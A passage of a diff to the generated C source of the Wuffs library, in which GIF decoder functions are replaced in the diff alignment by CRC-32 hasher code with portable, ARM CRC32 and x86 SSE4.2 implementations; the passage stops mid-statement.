+- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_extension( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__skip_blocks( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_ae( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_gc( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_id_part0( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_id_part1( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_id_part2( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); ++wuffs_crc32__ieee_hasher__up( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x); + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__copy_to_image_buffer( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_pb, +- wuffs_base__slice_u8 a_src); ++static wuffs_base__empty_struct ++wuffs_crc32__ieee_hasher__up__choosy_default( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x); + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_gif__decoder__lzw_init( +- wuffs_gif__decoder* self); ++wuffs_crc32__ieee_hasher__up_arm_crc32( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_gif__decoder__lzw_read_from( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); ++wuffs_crc32__ieee_hasher__up_x86_sse42( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + + // ---------------- VTables + +-const wuffs_base__image_decoder__func_ptrs +-wuffs_gif__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_gif__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_gif__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_gif__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_gif__decoder__frame_dirty_rect), ++const wuffs_base__hasher_u32__func_ptrs ++wuffs_crc32__ieee_hasher__func_ptrs_for__wuffs_base__hasher_u32 = { ++ (uint32_t(*)(const void*))(&wuffs_crc32__ieee_hasher__checksum_u32), + (uint64_t(*)(const void*, +- uint32_t))(&wuffs_gif__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_gif__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_gif__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_gif__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_gif__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_gif__decoder__restart_frame), ++ uint32_t))(&wuffs_crc32__ieee_hasher__get_quirk), + (wuffs_base__status(*)(void*, + uint32_t, +- uint64_t))(&wuffs_gif__decoder__set_quirk), ++ uint64_t))(&wuffs_crc32__ieee_hasher__set_quirk), + (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_gif__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_gif__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_gif__decoder__workbuf_len), ++ wuffs_base__slice_u8))(&wuffs_crc32__ieee_hasher__update), ++ (uint32_t(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_crc32__ieee_hasher__update_u32), + }; + + // ---------------- Initializer Implementations + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_gif__decoder__initialize( +- wuffs_gif__decoder* self, ++wuffs_crc32__ieee_hasher__initialize( ++ wuffs_crc32__ieee_hasher* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options){ +@@ -36681,23 +37083,25 @@ wuffs_gif__decoder__initialize( + } + } + ++ self->private_impl.choosy_up = &wuffs_crc32__ieee_hasher__up__choosy_default; ++ + self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_gif__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = ++ wuffs_base__hasher_u32__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = ++ (const void*)(&wuffs_crc32__ieee_hasher__func_ptrs_for__wuffs_base__hasher_u32); + return wuffs_base__make_status(NULL); + } + +-wuffs_gif__decoder* +-wuffs_gif__decoder__alloc(void) { +- wuffs_gif__decoder* x = +- (wuffs_gif__decoder*)(calloc(sizeof(wuffs_gif__decoder), 1)); ++wuffs_crc32__ieee_hasher* ++wuffs_crc32__ieee_hasher__alloc(void) { ++ wuffs_crc32__ieee_hasher* x = ++ (wuffs_crc32__ieee_hasher*)(calloc(1, sizeof(wuffs_crc32__ieee_hasher))); + if (!x) { + return NULL; + } +- if (wuffs_gif__decoder__initialize( +- x, sizeof(wuffs_gif__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ if (wuffs_crc32__ieee_hasher__initialize( ++ x, sizeof(wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { + free(x); + return NULL; + } +@@ -36705,18 +37109,18 @@ wuffs_gif__decoder__alloc(void) { + } + + size_t +-sizeof__wuffs_gif__decoder(void) { +- return sizeof(wuffs_gif__decoder); ++sizeof__wuffs_crc32__ieee_hasher(void) { ++ return sizeof(wuffs_crc32__ieee_hasher); + } + + // ---------------- Function Implementations + +-// -------- func gif.decoder.get_quirk ++// -------- func crc32.ieee_hasher.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gif__decoder__get_quirk( +- const wuffs_gif__decoder* self, ++wuffs_crc32__ieee_hasher__get_quirk( ++ const wuffs_crc32__ieee_hasher* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -36726,25 +37130,15 @@ wuffs_gif__decoder__get_quirk( + return 0; + } + +- uint32_t v_key = 0; +- +- if (a_key >= 1041635328u) { +- v_key = (a_key - 1041635328u); +- if (v_key < 7u) { +- if (self->private_impl.f_quirks[v_key]) { +- return 1u; +- } +- } +- } + return 0u; + } + +-// -------- func gif.decoder.set_quirk ++// -------- func crc32.ieee_hasher.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gif__decoder__set_quirk( +- wuffs_gif__decoder* self, ++wuffs_crc32__ieee_hasher__set_quirk( ++ wuffs_crc32__ieee_hasher* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -36757,377 +37151,812 @@ wuffs_gif__decoder__set_quirk( + : wuffs_base__error__initialize_not_called); + } + +- if ((self->private_impl.f_call_sequence == 0u) && (a_key >= 1041635328u)) { +- a_key -= 1041635328u; +- if (a_key < 7u) { +- self->private_impl.f_quirks[a_key] = (a_value > 0u); +- return wuffs_base__make_status(NULL); +- } +- } + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func gif.decoder.decode_image_config ++// -------- func crc32.ieee_hasher.update + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gif__decoder__decode_image_config( +- wuffs_gif__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_crc32__ieee_hasher__update( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return wuffs_base__make_empty_struct(); + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ return wuffs_base__make_empty_struct(); + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_image_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } + +- ok: +- self->private_impl.p_decode_image_config[0] = 0; +- goto exit; ++ if (self->private_impl.f_state == 0u) { ++ self->private_impl.choosy_up = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) ++ wuffs_base__cpu_arch__have_arm_crc32() ? &wuffs_crc32__ieee_hasher__up_arm_crc32 : ++#endif ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_crc32__ieee_hasher__up_x86_sse42 : ++#endif ++ self->private_impl.choosy_up); + } ++ wuffs_crc32__ieee_hasher__up(self, a_x); ++ return wuffs_base__make_empty_struct(); ++} + +- goto suspend; +- suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++// -------- func crc32.ieee_hasher.update_u32 + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_crc32__ieee_hasher__update_u32( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return 0; + } +- return status; ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return 0; ++ } ++ ++ wuffs_crc32__ieee_hasher__update(self, a_x); ++ return self->private_impl.f_state; + } + +-// -------- func gif.decoder.do_decode_image_config ++// -------- func crc32.ieee_hasher.up + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_decode_image_config( +- wuffs_gif__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- bool v_ffio = false; ++static wuffs_base__empty_struct ++wuffs_crc32__ieee_hasher__up( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ return (*self->private_impl.choosy_up)(self, a_x); ++} + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_crc32__ieee_hasher__up__choosy_default( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint32_t v_s = 0; ++ wuffs_base__slice_u8 v_p = {0}; + +- if (self->private_impl.f_call_sequence != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } else if ( ! self->private_impl.f_seen_header) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_gif__decoder__decode_header(self, a_src); +- if (status.repr) { +- goto suspend; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_gif__decoder__decode_lsd(self, a_src); +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_header = true; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_gif__decoder__decode_up_to_id_part1(self, a_src); +- if (status.repr) { +- goto suspend; +- } +- v_ffio = ! self->private_impl.f_gc_has_transparent_index; +- if ( ! self->private_impl.f_quirks[2u]) { +- v_ffio = (v_ffio && +- (self->private_impl.f_frame_rect_x0 == 0u) && +- (self->private_impl.f_frame_rect_y0 == 0u) && +- (self->private_impl.f_frame_rect_x1 == self->private_impl.f_width) && +- (self->private_impl.f_frame_rect_y1 == self->private_impl.f_height)); +- } else if (v_ffio) { +- self->private_impl.f_black_color_u32_argb_premul = 4278190080u; +- } +- if (self->private_impl.f_background_color_u32_argb_premul == 77u) { +- self->private_impl.f_background_color_u32_argb_premul = self->private_impl.f_black_color_u32_argb_premul; ++ v_s = (4294967295u ^ self->private_impl.f_state); ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 16; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32)); ++ while (v_p.ptr < i_end0_p) { ++ v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | ++ (((uint32_t)(v_p.ptr[1u])) << 8u) | ++ (((uint32_t)(v_p.ptr[2u])) << 16u) | ++ (((uint32_t)(v_p.ptr[3u])) << 24u)); ++ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); ++ v_p.ptr += 16; ++ v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | ++ (((uint32_t)(v_p.ptr[1u])) << 8u) | ++ (((uint32_t)(v_p.ptr[2u])) << 16u) | ++ (((uint32_t)(v_p.ptr[3u])) << 24u)); ++ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); ++ v_p.ptr += 16; + } +- if (a_dst != NULL) { +- wuffs_base__image_config__set( +- a_dst, +- 2198077448u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_frame_config_io_position, +- v_ffio); ++ v_p.len = 16; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 16) * 16)); ++ while (v_p.ptr < i_end1_p) { ++ v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | ++ (((uint32_t)(v_p.ptr[1u])) << 8u) | ++ (((uint32_t)(v_p.ptr[2u])) << 16u) | ++ (((uint32_t)(v_p.ptr[3u])) << 24u)); ++ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); ++ v_p.ptr += 16; + } +- if (self->private_impl.f_call_sequence == 0u) { +- self->private_impl.f_call_sequence = 32u; ++ v_p.len = 1; ++ const uint8_t* i_end2_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end2_p) { ++ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ v_p.ptr[0u]))] ^ (v_s >> 8u)); ++ v_p.ptr += 1; + } +- +- goto ok; +- ok: +- self->private_impl.p_do_decode_image_config[0] = 0; +- goto exit; ++ v_p.len = 0; + } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- return status; ++ self->private_impl.f_state = (4294967295u ^ v_s); ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func gif.decoder.set_report_metadata ++// -------- func crc32.ieee_hasher.checksum_u32 + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_gif__decoder__set_report_metadata( +- wuffs_gif__decoder* self, +- uint32_t a_fourcc, +- bool a_report) { ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_crc32__ieee_hasher__checksum_u32( ++ const wuffs_crc32__ieee_hasher* self) { + if (!self) { +- return wuffs_base__make_empty_struct(); ++ return 0; + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- if (a_fourcc == 1229144912u) { +- self->private_impl.f_report_metadata_iccp = a_report; +- } else if (a_fourcc == 1481461792u) { +- self->private_impl.f_report_metadata_xmp = a_report; ++ return self->private_impl.f_state; ++} ++ ++// ‼ WUFFS MULTI-FILE SECTION +arm_crc32 ++// -------- func crc32.ieee_hasher.up_arm_crc32 ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_crc32__ieee_hasher__up_arm_crc32( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ wuffs_base__slice_u8 v_p = {0}; ++ uint32_t v_s = 0; ++ ++ v_s = (4294967295u ^ self->private_impl.f_state); ++ while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { ++ v_s = __crc32b(v_s, a_x.ptr[0u]); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); ++ } ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 8; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 128) * 128)); ++ while (v_p.ptr < i_end0_p) { ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ } ++ v_p.len = 8; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8)); ++ while (v_p.ptr < i_end1_p) { ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ } ++ v_p.len = 1; ++ const uint8_t* i_end2_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end2_p) { ++ v_s = __crc32b(v_s, v_p.ptr[0u]); ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; + } ++ self->private_impl.f_state = (4294967295u ^ v_s); + return wuffs_base__make_empty_struct(); + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) ++// ‼ WUFFS MULTI-FILE SECTION -arm_crc32 + +-// -------- func gif.decoder.tell_me_more ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func crc32.ieee_hasher.up_x86_sse42 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gif__decoder__tell_me_more( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++static wuffs_base__empty_struct ++wuffs_crc32__ieee_hasher__up_x86_sse42( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint32_t v_s = 0; ++ __m128i v_kk = {0}; ++ __m128i v_x0 = {0}; ++ __m128i v_x1 = {0}; ++ __m128i v_x2 = {0}; ++ __m128i v_x3 = {0}; ++ __m128i v_x4 = {0}; ++ __m128i v_x5 = {0}; ++ __m128i v_x6 = {0}; ++ __m128i v_x7 = {0}; ++ __m128i v_y0 = {0}; ++ __m128i v_y1 = {0}; ++ __m128i v_y2 = {0}; ++ __m128i v_y3 = {0}; ++ __m128i v_y4 = {0}; ++ __m128i v_y5 = {0}; ++ __m128i v_y6 = {0}; ++ __m128i v_y7 = {0}; ++ ++ v_s = (4294967295u ^ self->private_impl.f_state); ++ while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { ++ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ a_x.ptr[0u]))] ^ (v_s >> 8u)); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); + } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ if (((uint64_t)(a_x.len)) >= 128u) { ++ v_x0 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)); ++ v_x1 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); ++ v_x2 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); ++ v_x3 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); ++ v_x4 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 64u)); ++ v_x5 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 80u)); ++ v_x6 = 